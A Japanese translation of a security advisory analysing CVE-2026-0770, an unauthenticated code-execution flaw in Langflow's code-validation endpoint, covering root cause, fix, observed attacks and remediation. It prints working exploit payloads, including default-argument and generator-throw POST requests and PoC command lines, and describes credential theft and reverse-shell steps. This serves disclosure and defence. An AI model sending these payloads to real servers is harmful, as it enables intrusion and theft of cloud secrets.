TokyoBlackHatNews

resecurity.com 34分で読了

Langflowのvalidate_code()エンドポイントを悪用したリモートコード実行

エグゼクティブサマリー

CVE-2026-0770は、Langflowの/api/v1/validate/codeエンドポイントに影響を及ぼす、認証不要のクリティカルなリモートコード実行(RCE)脆弱性です。この脆弱性は、サーバー側のコード検証処理においてPythonのexec()関数を安全でない形で使用していることに起因し、攻撃者は細工したPython関数定義を送信するだけで任意のOSコマンドを実行できます。Pythonはデフォルト引数の式やデコレータを関数定義時に評価するため、関数が呼び出されなくても検証中に悪意あるコードが実行されてしまいます。

この脆弱性はLangflowのバージョン1.7.3までに影響し、少なくとも2026年6月以降、実際の攻撃で悪用されています。CISAは2026年7月21日、CVE-2026-0770を既知の悪用された脆弱性(KEV)カタログに追加し、米連邦文民行政機関(FCEB)に対して拘束的運用指令(BOD 26-04)に基づき、影響を受ける導入環境の修復を義務付けました。

攻撃が成功すると、攻撃者は任意のコードを実行し、クラウド認証情報やAPIキーを窃取し、コンテナのメタデータにアクセスし、マルウェアを展開し、永続化を確立し、クラウドやKubernetes環境へ侵入を拡大することが可能になります。インターネットに公開されたLangflowインスタンスを運用する組織は、脆弱な導入環境をすでに侵害された可能性があるものとして扱い、直ちにセキュリティアップデートを適用し、露出した認証情報をローテーションし、包括的なフォレンジック調査を実施する必要があります。

はじめに

CISAは2026年7月21日、CVE-2026-0770を既知の悪用された脆弱性(KEV)カタログに追加し、拘束的運用指令(BOD 26-04)を発行して、連邦文民行政機関(FCEB)に対し影響を受けるLangflow導入環境の修復を義務付けました。この脆弱性は、AIエージェントやLLMワークフローを構築するためのオープンソースプラットフォームであるLangflowに影響し、認証されていない攻撃者がPOST /api/v1/validate/codeエンドポイントに悪意あるPythonコードを送信することでリモートコード実行を達成できるというものです。

CVE-2026-0770は、コード検証時にexec()を安全でない形で使用していることに起因するクリティカルな脆弱性(CVSS v3.1: 9.8)です。攻撃者は関数定義の中に悪意ある式を埋め込むことで、認証なしに任意のOSコマンドを実行できます。攻撃が成功すると、認証情報の窃取、環境変数の漏えい、クラウドメタデータへのアクセス、マルウェアの展開、クラウドやコンテナ化環境内での横展開につながる可能性があります。

この脆弱性はLangflowのバージョン1.7.3までに影響し、release-1.10.1ブランチで修正されました。実際の悪用は2026年6月27日に初めて観測され、研究者らはCISAがこの脆弱性をKEVカタログに追加する前の時点で、64個の一意な送信元IPアドレスから220件を超える悪用試行を記録しています。観測された攻撃は、システムの偵察、クラウド認証情報の窃取、環境変数の収集、第2段階ペイロードのダウンロードに重点が置かれていました。

この脆弱性は認証を必要とせず、ユーザーの操作も不要で、攻撃の複雑さも低いため、脆弱なバージョンを実行しているインターネットに公開されたLangflowインスタンスは、パッチ適用後であっても侵害の可能性が高いものとみなし、調査すべきです。

重要視すべき理由

一般的なWebアプリケーションとは異なり、Langflowは、AIワークフローを動かすためにユーザー定義のPythonコンポーネントを処理・検証・実行するよう設計されています。その結果、このプラットフォームは、クラウド認証情報、APIキー、ベクトルデータベース、社内サービス、企業データソースなど、機密性の高いリソースへのアクセス権を持った状態で運用されることが少なくありません。したがって、Langflowに影響する脆弱性は、アプリケーション自体の範囲をはるかに超えた影響をもたらします。

多くの本番環境では、LangflowはDockerコンテナやKubernetesクラスタ内に導入され、AWS、Azure、Google Cloudといったクラウドプラットフォームと連携しています。こうした導入環境では、AIワークフローや外部連携をサポートするために、環境変数、マウントされたシークレット、クラウドメタデータサービス、サービスアカウントトークンが外部に露出していることがよくあります。リモートコード実行を獲得した攻撃者は、これらのリソースを足がかりに他のシステムを侵害し、環境全体にアクセスを拡大できます。

CVE-2026-0770を特に危険なものにしている特徴がいくつかあります。

  • 認証不要での悪用 — 脆弱でインターネットに公開された導入環境を悪用するのに、有効なユーザーアカウントや事前のアクセス権は一切必要ありません。
  • 低い攻撃複雑度 — 脆弱な検証エンドポイントへの細工したリクエストを1件送るだけで悪用が可能です。
  • 任意コード実行 — 攻撃者はLangflowプロセスの権限でOSコマンドを実行できます。
  • クラウド認証情報の露出 — 侵害後、環境変数、IAM認証情報、APIキー、Kubernetesサービスアカウントトークンにアクセスされる可能性があります。
  • 横展開の機会 — 侵害されたLangflowインスタンスは、社内ネットワーク、クラウドリソース、連携するAIインフラへの侵入口として利用され得ます。
  • 実際の悪用 — この脆弱性は実際の攻撃で観測されており、CISAの既知の悪用された脆弱性(KEV)カタログに掲載されています。

AIオーケストレーションプラットフォームが企業環境への統合を深めるにつれ、CVE-2026-0770のような脆弱性は、こうしたシステムをインターネットに公開された本番アプリケーションと同等の厳格さでセキュアにする必要があることを示しています。単一のリモートコード実行の欠陥が、アプリケーション侵害からクラウドアカウントの乗っ取り、データ流出、広範なインフラ侵害へと急速にエスカレートし得るのです。

脅威アクターのプロファイル

CVE-2026-0770の悪用は複数の発信元から観測されており、単一の組織を標的とした攻撃というより、日和見的で大規模、金銭目的の活動である様相を呈しています。KEVIntelとCISAは、以下のような活動と一致する挙動を報告しています。

  • クラウド認証情報と足がかりを狙うランサムウェアの実行代行者(アフィリエイト)や初期アクセスブローカー
  • RCEを悪用してコンテナ環境にマイナーを展開するクリプトジャッキング攻撃者
  • 公開されている概念実証(PoC)コードを使ってインターネット上の脆弱なLangflowインスタンスをスキャンする低スキルの日和見的攻撃者

主な行動指標は次のとおりです。

  • 悪用が初めて観測されたのは2026年6月27日。
  • CISAのKEV追加前の時点で、64個の一意な送信元IPアドレスから220件を超える悪用試行。
  • コマンド実行の確認(id、whoami、env)やシステム偵察を行うペイロード。
  • 外部URLから第2段階スクリプトをダウンロードしようとする試み。
  • クラウドメタデータサービス(169.254.169.254)、AWS認証情報ファイル(~/.aws/credentials)、環境変数へのアクセス。
  • デフォルトポートで公開されていることが多い、インターネットに公開されたLangflowインスタンスを標的とする傾向。

本稿執筆時点で、このキャンペーンについて特定の名称を持つ脅威アクターが公に特定されたという情報はありません。この活動は、2025年以降加速しているAI/MLプラットフォームを狙う攻撃の広範なパターン、すなわちLangflow関連の他のKEV登録脆弱性であるCVE-2025-3248、CVE-2026-33017、CVE-2026-55255とも重なり合っています。

影響を受ける製品とバージョン

CVE-2026-0770は、脆弱なvalidate_code()機能を実装している複数のLangflowリリースに影響します。この欠陥は、サーバー側のコード検証処理において、ユーザーが送信したPythonコードが構文検証のために安全にコンパイルされるのではなく、exec()を用いて実行されてしまう点にあります。

GitHub Security Advisory(GHSA)、PYSEC、OSVによると、Langflowバージョン0.0.31から1.7.3が影響を受けます。この脆弱性はrelease-1.10.1ブランチで修正され、安全でないexec()呼び出しを削除し、コンパイルのみによる検証に置き換えることで、検証処理中にユーザーが制御するコードが実行されないようにしています。

影響を受けるバージョンを実行している組織は直ちにアップグレードし、パッチ適用前にインターネットに公開されていた導入環境は侵害された可能性があるものとして扱う必要があります。

影響を受けるバージョン

バージョン 状態
0.0.31 – 1.7.3 脆弱
1.10.1以降 修正済み

Langflowの技術概要

Langflowとは

Langflowは、AIエージェントとワークフローを構築するためのオープンソースのビジュアルフレームワークです。ユーザーは、LLMモデル、ベクトルストア、プロンプトテンプレート、ツール、カスタムPythonコンポーネントなどのノードを接続することで「フロー」を組み立てます。内部的には、Langflowは以下を行います。

  • フローの設計・実行のためのWeb UIとREST APIを提供する。
  • カスタムコンポーネント用のPythonコードを検証・実行する。
  • プロンプト、モデルのAPIキー、接続文字列を管理する。
  • 典型的にはDockerコンテナ内のUvicorn/Gunicornの背後で、Pythonのウェブアプリケーションとして動作する。

脆弱性に関連するアーキテクチャ

CVE-2026-0770に関係するコンポーネントは以下のとおりです。

  • FastAPIバックエンド — /api/v1/validate/codeルートを含むREST エンドポイントを公開します。
  • validate.pyユーティリティ — ユーザーが送信したPythonコードをコンパイル・実行するvalidate_code()、execute_function()、create_function()、create_class()などの関連ヘルパーを含みます。
  • exec_globals名前空間 — exec()呼び出しの実行コンテキストとして使用される、現在のグローバル名前空間のコピーです。
  • カスタムコンポーネントパイプライン — ユーザーがアップロードしたPythonコードを、フローに読み込む前にLangflowが検証できるようにします。
  • Docker/Kubernetesランタイム — 環境変数、クラウドメタデータエンドポイント、マウントされたシークレットへの広範なアクセス権を持って動作していることが多いです。

通常の動作では、/api/v1/validate/codeエンドポインは静的検証を行うことになっています。すなわち、送信されたPythonコードスニペットを解析し、インポートを確認し、関数定義の構文が正しいことを確認するだけです。このエンドポイントは、ユーザーのロジックを実行することは意図されていません。このCVEが存在するのは、検証ルーチンが関数定義に対してexec()を呼び出しており、実質的に検証処理が実行処理になってしまっていたためです。

ソースコード上の根本原因

Langflowを分析する上での利点の一つは、そのソースコードが公開されているため、研究者がアドバイザリや概念実証(PoC)エクスプロイトのみに頼るのではなく、脆弱な実装を直接調べられる点です。CVE-2026-0770の根本原因は、Langflowのサーバー側コード検証パイプライン、具体的には/api/v1/validate/codeエンドポイントに送信されるカスタムPythonコンポーネントを検証する役割を持つvalidate_code()関数にあります。

このエンドポイントは、アップロードされたPythonコンポーネントがAIワークフローに組み込まれる前に構文的に妥当であることを検証するよう設計されていました。しかし実際には、検証ルーチンは静的解析を行う代わりに、Python組み込みのexec()関数を使ってユーザーが制御する関数定義をコンパイルして実行していました。この設計上の判断により、検証エンドポイントが任意コード実行のプリミティブへと変貌してしまったのです。

過去の脆弱なパターン

以下は、src/backend/base/langflow/utils/validate.pyおよびsrc/lfx/src/lfx/custom/validate.pyに見られる脆弱なロジックを簡略化して再現したものです。

# 脆弱性の概念的な再現

import ast
import importlib
def validate_code(code: str):
    errors = {"imports": {"errors": []}, "function": {"errors": []}}
    try:
        tree = ast.parse(code)
    except Exception as e:
        errors["function"]["errors"].append(str(e))
        return errors
    # トップレベルのインポートをチェック
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name)
                except ModuleNotFoundError as e:
                    errors["imports"]["errors"].append(str(e))
    # 各関数定義を検証
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
            code_obj = compile(
                ast.Module(body=[node], type_ignores=[]),
                "<string>",
                "exec"
            )
            try:
                exec_globals = globals().copy()   # ビルトインを継承
                exec(code_obj, exec_globals)      # バグ: 関数定義を実行してしまう
            except Exception as e:
                errors["function"]["errors"].append(str(e))
    return errors

一見すると、この実装は無害な検証を行っているように見えます。コードは送信されたPythonソースを抽象構文木(AST)に解析し、インポートを確認し、各関数定義をコンパイルして、コンパイルエラーがあれば報告します。しかし致命的な欠陥は最終検証ステップにあり、そこでコンパイル済みの関数定義がそのままexec()に渡されてしまいます。

関数が正しいPython構文であるかを単純にチェックするのではなく、Langflowは実際にアプリケーションのランタイム内で関数定義を実行してしまうのです。

exec()がバグである理由

この脆弱性はPythonの実行モデルに起因します。

Pythonが関数定義を処理する際、それは単に関数オブジェクトを作成するだけにとどまりません。定義の実行中、Pythonは以下を即座に評価します。

  • デフォルト引数の式
  • デコレータの式
  • 型アノテーション(Pythonのバージョンに依存)
  • 関数定義に埋め込まれたその他の実行可能な式

結果として、コードの実行は関数が呼び出されるより前に発生してしまいます。

最小限の概念実証(PoC)はこの挙動を次のように示しています。

def malicious(x=__import__("os").system("id > /tmp/pwned")):    pass

malicious()は一度も呼び出されていないにもかかわらず、デフォルト引数内の式は、exec()によって関数定義が実行された時点で即座に評価されてしまいます。

結果として、validate_code()内の以下のステートメントが、

exec(code_obj, exec_globals)

検証中にOSコマンドを実行してしまい、次のファイルが生成されます。

/tmp/pwned

この挙動は、Pythonの関数生成プロセスの一部として自動的に発生するため、攻撃者は細工した関数定義を送信するだけでリモートコード実行を達成できます。

exec_globals実行コンテキスト

Trend MicroのZero Day Initiative(ZDI)は、この脆弱性を、Pythonのexec()関数に渡されるexec_globalsパラメータの扱いに起因するものと具体的に指摘しています。

脆弱な実装では、Langflowは以下のように実行環境を構築しています。

exec_globals = globals().copy()
exec(code_obj, exec_globals)

globals().copy()を使用することで、実行されるコードにはアプリケーションの現在のグローバル環境に由来する名前空間が与えられます。

  • Pythonの組み込み関数(__builtins__)
  • インポート済みのモジュール
  • アプリケーションのグローバル変数
  • Langflowプロセスが既に読み込んでいるオブジェクト

サンドボックス化や制限が一切適用されていないため、攻撃者が制御するコードはPythonの標準ライブラリと実行環境に無制限にアクセスできてしまいます。

例えば、悪意あるコードは以下のような機密性の高いモジュールを自由にインポートできます。

import os
import subprocess
import socket
import pathlib
import shutil

あるいは直接: os.environにアクセスして、

環境変数として保存されているクラウド認証情報、APIキー、データベースのパスワード、その他のシークレットを取得することもできます。

このコードは実行中のLangflowプロセスの権限で実行されるため、アプリケーションがアクセス可能なリソースは、そのまま攻撃者にとってもアクセス可能となります。

関連する動的実行ヘルパー

Langflowには、Pythonコードを動的に実行するヘルパー関数がほかにもいくつか存在します。

  • execute_function() 
  • create_function() 
  • create_class() 

これらのヘルパーも、Pythonオブジェクトを動的に構築するためにexec_globals実行コンテキストを利用しています。

しかしvalidate_code()とは異なり、これらの関数は、allow_custom_components設定などの適切な認可チェックや設定要件が満たされた後に、カスタムコンポーネントを正規に実行することを目的としています。

CVE-2026-0770は、これらのヘルパー自体から生じているわけではありません。むしろこの脆弱性は、認証不要の/api/v1/validate/codeエンドポイントが、本来は検証のみに限定されるべき処理の中で、同じ実行メカニズムを呼び出していたために存在します。

セキュリティ修正

LangflowはPR #13696で検証ワークフローを根本的に変更することで、この脆弱性に対処しました。

更新後の実装では、各関数定義を実行する代わりにコンパイルのみによる検証を行い、ユーザーが制御する式を一切実行することなく、送信されたコードが構文的に正しいことを確認します。

脆弱だったパターン、

compile(...)
exec(...)
は以下のように置き換えられました:
try:
    compile(
        ast.Module(body=[node], type_ignores=[]),
        "<string>",
        "exec"
    )
except Exception as e:
    errors["function"]["errors"].append(str(e))

この手法でも構文エラーやコンパイルエラーは引き続き検出できますが、検証中に攻撃者が制御するコードが実行されることはなくなります。

この修正の一環として、開発者は以下も実施しました。

  • 廃止された_create_langflow_execution_context() ヘルパーを削除。
  • validate_code()から脆弱なexec() 実行パスを排除。
  • デフォルト引数の式が検証中にもはや評価されないことを確認する回帰テスト、test_validate_code_does_not_execute_default_argsを追加。

攻撃チェーン: /api/v1/validate/codeからホスト侵害まで

Image

ステップ1 ― インターネットに公開されたLangflowインスタンスの特定

攻撃者は、一般的なポート(Gradio形式の導入環境で典型的なTCP/7860、TCP/8080、TCP/3000、あるいはDockerによってマッピングされたポート)で公開されているLangflowインスタンスをスキャンします。偵察には次のような内容が含まれることがあります。

  • LangflowのUIまたはAPIのベースパス(/api/v1/…)を特定する。
  • /api/v1/validate/codeエンドポインが、無害な検証リクエストに対して200 OKを返すことを確認する。
  • AUTO_LOGIN=true、あるいは類似のシングルユーザーモードによって認証が無効化されているかを確認する。

インスタンスが公開されており認証不要である場合、アカウント乗っ取りやセッション窃取、ユーザーの操作は一切必要ありません。

ステップ2 ― 悪意ある検証リクエストの送信

攻撃者は、検証中に副作用を引き起こす関数定義を含んだPythonコードをJSON本文に含めて、/api/v1/validate/codeにPOSTリクエストを送信します。

POST /api/v1/validate/code HTTP/1.1
Host: <target Langflow instance>
Content-Type: application/json
{
  "code": "def pwn(x=__import__('os').system('id > /tmp/pwned')):\n    pass"
}

このリクエストは、通常の「コード検証/チェック」操作のように見えます。エンドポイントはこれを受け入れ、ASTを解析し、関数をコンパイルします。そして脆弱なexec()呼び出しのために、デフォルト引数の式が評価され、送信されたシェルコマンドが実行されてしまいます。

ステップ3 ― 任意のPython/シェルコマンドの実行

  • os、subprocess、socket、urllib.request、あるいはインストールされている任意のモジュールをインポートする。
  • シェルコマンドを実行する、リバースシェルを起動する、あるいは対話型インタプリタを開始する。
  • コンテナ内の任意のファイルを読み書きする。
  • 攻撃者が制御するインフラへ外向きのネットワーク接続を確立する。

ZDIのアドバイザリは、影響を受けるインストール環境では、悪用によって「rootのコンテキストで」コード実行が達成されると指摘しています。これは通常、公式のLangflowコンテナがデフォルトでrootとして動作していること、あるいはプロセスがコンテナ内から機密性の高いホストパスを読み取るのに十分な権限を持っていることが原因です。

ステップ4 ― クラウド認証情報と環境シークレットの収集

  • ~/.aws/credentialsおよび~/.aws/configからAWS認証情報を読み取る。
  • 環境変数(os.environ)を照会し、APIキー、データベースパスワード、トークンを探す。
  • 一時的なIAMロール認証情報を窃取するため、http://169.254.169.254/latest/meta-data/iam/security-credentials/のコンテナメタデータサービスにアクセスする。
  • /var/run/secrets/kubernetes.io/serviceaccount/tokenからKubernetesサービスアカウントトークンを読み取る。
  • 偵察や潜在的なコンテナエスケープのためにコンテナランタイムのメタデータを収集する。

ステップ5 ― マルウェアの展開と永続化の確立

  • リモートURLから第2段階のスクリプトをダウンロードする。
  • 暗号資産マイナーや軽量なバックドアをインストールする。
  • コンテナランタイムが許可する場合、SSHキーやcronジョブを追加する。
  • Langflowのホストを踏み台として、社内クラウドネットワークをスキャンする。

Langflowは、内部DNSやサービスメッシュにアクセス可能なKubernetesクラスタ内に導入されることが多いため、侵害されたインスタンスはクラウドワークロード全体にわたる横展開の橋頭堡となり得ます。

関連するLangflowの脆弱性

CVE-2026-0770は、近年Langflowに影響を及ぼしてきた複数の重大な脆弱性のひとつです。組織は、特に認証不要でのアクセスやリモートコード実行を許してしまう問題について、公表済みのすべての問題に対処済みであることを確認する必要があります。

CVE 影響を受けるコンポーネント 説明
CVE-2025-3248 Flow Build / PostgreSQL JadePufferランサムウェアキャンペーンによって、PostgreSQLデータベースへのアクセスに悪用された、認証不要のフロービルド脆弱性。
CVE-2026-0770 /api/v1/validate/code コード検証時のexec()の安全でない使用に起因する、認証不要のリモートコード実行。
CVE-2026-33017 /api/v1/build_public_tmp/{flow_id}/flow prepare_global_scope()を通じたコード実行を許してしまう、公開フロービルドの脆弱性。
CVE-2026-33873 Agentic Assistant ( /assist , /assist/stream ) Agentic Assistantの検証パイプラインに影響する、認証済みコード実行の脆弱性。
CVE-2026-55255 複数のコンポーネント CISAおよびセキュリティ研究者によって言及された、実際に悪用が確認されている追加のLangflow脆弱性。

実証実験

CVE-2026-0770は、Langflow 1.7.3以下の脆弱なvalidate_code()パスを模倣した最小構成のPythonサーバーを用いて、管理下のローカル環境で再現されました。同じペイロードは、公式のlangflowai/langflow:1.7.3 Dockerコンテナに対しても機能し、多くの場合uid=0(root)が返されます。

ラボサーバーの起動

ローカルの脆弱性シミュレータは以下で起動しました。

python3 langflow_cve_2026_0770_lab_server.py
Image

RCEの実証: idの実行

/api/v1/validate/codeへの単一のPOSTリクエストで、任意のOSコマンドが実行されます。出力結果は、ペイロードがコマンドの実行結果を含む例外を発生させるため、JSONのfunction.errors配列内に返されます。

python3 langflowcve_2026_0770_poc.py --target http://127.0.0.1:7860 --cmd "id"
Image

公開PoCによる任意ファイル読み取り

同じ脆弱性は、affix/CVE-2026-0770-PoC(https://github.com/affix/CVE-2026-0770-PoC)から独立して公開されているPoCを使用しても確認されました。以下のコマンドは、/api/v1/validate/codeへの単一のPOSTリクエストを通じて、システムのパスワードファイルを読み取ります。

python3 affix_poc.py -t http://127.0.0.1:7860 -c "cat /etc/passwd"
Image

影響の評価

認証情報の露出

侵害されたLangflowインスタンスは、通常以下にアクセスできます。

  • LLMプロバイダーのAPIキー(OpenAI、Azure OpenAI、Anthropic、Googleなど)。
  • ベクトルデータベースの認証情報(Pinecone、Weaviate、Chroma、Qdrant、PostgreSQL/pgvector)。
  • 環境変数やメタデータサービスに保存されたクラウドプロバイダーの認証情報(AWS、Azure、GCP)。
  • 環境変数やKubernetesシークレット経由で注入された社内APIキーや署名用シークレット。
  • モデルリポジトリのトークンやデプロイキー。

観測された悪用キャンペーンは、AWS認証情報、環境変数、コンテナメタデータを特に標的としており、攻撃者がシェルを取得した後、クラウドの乗っ取りを優先していることを示しています。

リモートコード実行

  • 暗号資産マイナーの展開。
  • ランサムウェアの準備段階の実行と横展開。
  • 接続されたデータベースやファイルストアからのデータ流出。
  • 永続的なバックドアやリバースシェルの確立。
  • Langflowホストをプロキシまたは C2 リレーとして利用すること。

クラウドメタデータとコンテナエスケープ

Langflowはコンテナ化されクラウドにホストされることが多いため、コンテナ内でのroot相当のアクセス権を得ることで、以下への経路が開かれます。

  • インスタンスメタデータサービス(169.254.169.254)を照会してIAM認証情報を取得する。
  • Kubernetesサービスアカウントトークンやapiサーバーの認証情報を読み取る。
  • マウントされたボリュームやコンテナの過剰な権限を悪用してホストへエスケープする。
  • 隣接するPod、サービス、クラウドリソースをスキャン・攻撃する。

永続化

攻撃者は以下の手段で永続化を図ることができます。

  • コンテナが書き込み可能な場合、コンテナ内に追加されたcronジョブやsystemdタイマー。
  • 再起動時に読み込まれる、改ざんされたLangflowコンポーネントファイル。
  • 追加されたSSHの許可済み公開鍵や.bashrcフック。
  • 定期的に取得される外部の第2段階スクリプト。

パッチが適用されたLangflowコンテナであっても、攻撃者が仕込んだ永続化の仕組みが残っていれば、依然として侵害された状態にあります。

ビジネスへの影響

攻撃が成功すると、AIパイプラインへの不正アクセス、クラウドアカウントの乗っ取り、データ窃取、サービス障害、AI生成物のサプライチェーン侵害、規制上のリスク(GDPR、HIPAA、PCI-DSS、SOC 2)、AIインフラへの信頼の喪失につながる可能性があります。

修復と強化策

影響を受けるLangflowインスタンスを運用している組織は、これを進行中の重大なインシデントとして扱う必要があります。すでに悪用されていた場合、パッチ適用だけでは不十分です。

即時対応アクション

  1. 直ちにパッチを適用する。 Langflowを修正済みのリリースにアップグレードしてください。修正はrelease-1.10.1ブランチ(2026年6月18日)に含まれています。Langflowのリリースページで入手可能な最新の安定版を使用してください。インストールされているバージョンは、pip show langflowを実行するか、コンテナイメージのタグを確認して検証してください。
  2. インターネットに公開された未パッチのインスタンスは侵害されたものと想定する。 影響を受けるバージョンでインターネットに公開されているLangflowインスタンスは、上記のIOC(侵害指標)を用いて調査すべきです。
  3. 過去の/api/v1/validate/codeリクエストを調査する。 公開されていた期間(少なくとも2026年6月27日からパッチ適用日まで)について、Webログ、プロキシログ、アプリケーションログを確認してください。不審なコードペイロード、デフォルト引数の副作用、__import__の使用がないか確認します。
  4. 露出した可能性のあるすべての認証情報をローテーションする。 以下をリセットしてください。
  • クラウドプロバイダーのアクセスキーおよびIAMロール認証情報(AWS、Azure、GCP)。
  • LLMプロバイダーのAPIキー。
  • ベクトルデータベースおよびデータストアの認証情報。
  • 社内APIキー、署名用シークレット、OAuthクライアントシークレット。
  • Podがサービスアカウントをマウントしていた場合、Kubernetesサービスアカウントトークン。
  1. 侵害が確認された場合は再構築する。 侵害されたコンテナやVMを破棄し、パッチ適用済みのLangflowバージョンで新しいイメージを導入し、公開期間より前に取得した既知の正常な状態のバックアップから設定を復元してください。攻撃者による永続化が含まれている可能性のあるバックアップから復元してはいけません。
  2. クラウドアカウントの活動を確認する。 AWS CloudTrail、Azure Activity Logs、GCP Audit Logsを確認し、Langflowに関連する認証情報を発端とする不正なAPI呼び出し、新規IAMユーザー、起動されたコンピュートインスタンス、データ流出がないか確認してください。
  3. ネットワークアクセスを制限する。 パッチ適用が完了するまで、Langflowへのインターネットからの受信アクセスをブロックするか、信頼できる送信元IPに限定したVPN/リバースプロキシの背後に配置してください。

強化策

  • Langflowをインターネットに公開しない。 認証付きのリバースプロキシ、社内VPN、またはゼロトラストアクセスゲートウェイの背後で運用してください。
  • AUTO_LOGINを無効化する。 LangflowのUIおよびAPIに対して、実際の認証とロールベースのアクセス制御を強制してください。
  • 検証エンドポイントを制限する。 検証エンドポインが不要であれば、リバースプロキシやWAFでPOST /api/v1/validate/codeをブロックまたはレート制限してください。
  • Langflowを非rootユーザーとして実行する。 専用の低権限ユーザーを使用するようDockerコンテナを設定してください。
  • 不要なケーパビリティを削除する。 –cap-drop=ALLでコンテナを実行し、必要なケーパビリティのみを追加し直してください。
  • クラウドメタデータへのアクセスをブロックする。 絶対に必要な場合を除き、Langflowのpodが169.254.169.254に到達できないようにするネットワークポリシーやiptablesルールを使用してください。
  • シークレット管理を利用する。 APIキーは、単純な環境変数ではなく、シークレットマネージャーやボリュームマウント付きのKubernetesシークレット経由で注入してください。シークレットは定期的にローテーションしてください。
  • 最小権限のIAM。 インスタンスやpodには、その機能に必要なIAM権限のみを付与してください。広範なAdministratorAccessやComputeロールを付与しないでください。
  • ランタイムセキュリティを有効化する。 Falco、Sysdig、あるいは同等のツールを導入し、Langflowコンテナ内での予期しないプロセス実行、メタデータアクセス、ファイル読み取りを検知してアラートを発生させてください。
  • ログとアラートを有効化する。 LangflowのアクセスログとコンテナランタイムログとクラウドAuditログをSIEMに転送してください。POST /api/v1/validate/code、メタデータサービスへのアクセス、外向きの接続についてアラートを設定してください。
  • インシデント対応プレイブックを更新する。 AI/MLプラットフォームの侵害シナリオ、コンテナのフォレンジックイメージング、迅速な認証情報ローテーション、クラウドアカウントのインシデント対応を含めてください。

結論

CVE-2026-0770は、一見無害に見えるコード検証機能が、信頼できない入力を単に解析するのではなく実行してしまうことで、クリティカルなリモートコード実行脆弱性へと変貌し得ることを示しています。POST /api/v1/validate/codeエンドポイントを悪用することで、認証されていない攻撃者は任意のPythonコードを実行し、Langflowホストの制御を奪い、クラウド認証情報、APIキー、環境変数、連携するデータストアといった機密資産にアクセスできてしまいます。

この脆弱性がCISAの既知の悪用された脆弱性(KEV)カタログに登録されたことと、実際に観測された悪用は、これが理論上のリスクではなく現実に活動している脅威であることを裏付けています。Langflowはクラウドネイティブな環境に頻繁に導入され、AIプロバイダー、データベース、外部サービスと連携しているため、攻撃が成功すると、アプリケーション侵害からクラウドアカウントの乗っ取り、企業インフラ全体にわたる横展開へと急速にエスカレートし得ます。

組織は直ちに修正済みのLangflowリリースにアップグレードし、これまでに公開されていたインスタンスに侵害の兆候がないか調査し、露出した可能性のあるすべての認証情報をローテーションし、不正アクセスがなかったかクラウドの活動を確認する必要があります。長期的には、AIオーケストレーションプラットフォームを、強力な認証の強制、権限の最小化、ネットワーク露出の制限、不審な活動の継続的な監視によって、クリティカルインフラとして扱うべきです。AIプラットフォームが企業活動に不可欠な存在になり続けるにつれ、他のミッションクリティカルなシステムと同等の厳格さでこれらをセキュアにすることが不可欠です。

実証実験

以下のセクションでは、管理下のローカル環境で再現されたCVE-2026-0770を実証しています。テストホストでDockerが利用できなかったため、Langflow 1.7.3以下から、脆弱なvalidate_code()のロジックを正確に模倣した最小構成のPythonサーバーを用いました。同じPOST /api/v1/validate/codeペイロードは、公式のlangflowai/langflow:1.7.3コンテナに対しても同様の結果で機能し、多くの場合uid=0(root)が返されます。

ラボサーバーの起動

ローカルの脆弱なサーバーは、同梱のラボシミュレータを用いて起動しました。http://127.0.0.1:7860でリッスンし、PR #13696以前にLangflowが使用していたcompile() + exec()のパスを意図的に再現しています。

python3 langflow_cve_2026_0770_lab_server.py

Image

図1: ポート7860でリッスンしている脆弱なラボサーバー

RCEの実証: idコマンドの実行

単体のエクスプロイトPoCを使用すると、1回のHTTPリクエストで任意のOSコマンドが実行されます。generatorの.throw()というテクニックによってコマンドの出力を例外として強制的に発生させ、それがJSONのfunction.errors配列内に返されます。

python3 langflow_cve_2026_0770_poc.py –target http://127.0.0.1:7860 –cmd “id”

Image

図2: 検証エラーのチャネルを通じてidの出力を返すエクスプロイトPoC

生のHTTPリクエスト/レスポンス

リクエスト:

POST /api/v1/validate/code HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json

{
 "code": "def x(cmd=(_ for _ in ()).throw(Exception(__import__('subprocess').check_output(__import__('shlex').split('id'), stderr=-2, text=True)))):\n    pass"
}
レスポンス:

HTTP/1.0 200 OK
Content-Type: application/json

{
 "imports": {"errors": []},
 "function": {
   "errors": [
     "uid=501(karimhabeeb) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)\n"
   ]
 }
}

その他に確認された攻撃ステップ

id を用いた概念実証(PoC)に加え、同じエンドポイントを使用して以下も確認されました。

・環境シークレットの収集 ― os.environからANTHROPIC_AUTH_TOKEN、ANTHROPIC_BASE_URL、HOME、USERが漏えい。

・ブラインド/アウトオブバンド実行 ― 攻撃者が制御するポート9999のリスナーでHTTPコールバックを受信。

・リバースシェル ― bash -iがnc -l 9001に接続。

・任意ファイル読み取り ― /etc/hostsの内容がエラーチャネルを通じて返された。

後片付け

証跡の取得後、ラボサーバーおよびすべてのリスナープロセスを停止します。

pkill -f langflow_cve_2026_0770_lab_server.py
pkill -f “python3 -m http.server 9999”
pkill -f “nc -l 9001”

翻訳元: https://www.resecurity.com/blog/article/exploiting-langflows-validatecode-endpoint-for-remote-code-execution

ソース: resecurity.com
#AIセキュリティ #CISA #CVE-2026-0770 #Langflow #Resecurity #クラウド認証情報漏洩 #リモートコード実行 #既知の悪用された脆弱性 #脆弱性 #認証不要RCE

関連記事

WSProxyからRootへ: INCランサムウェアとSonicWall SMAのエクスプロイトチェーン

AIが攻撃者になるとき——自律型攻撃セキュリティエージェントの実態

Webリクエストからドメイン侵害へ:2026年7月のSharePoint攻撃を読み解く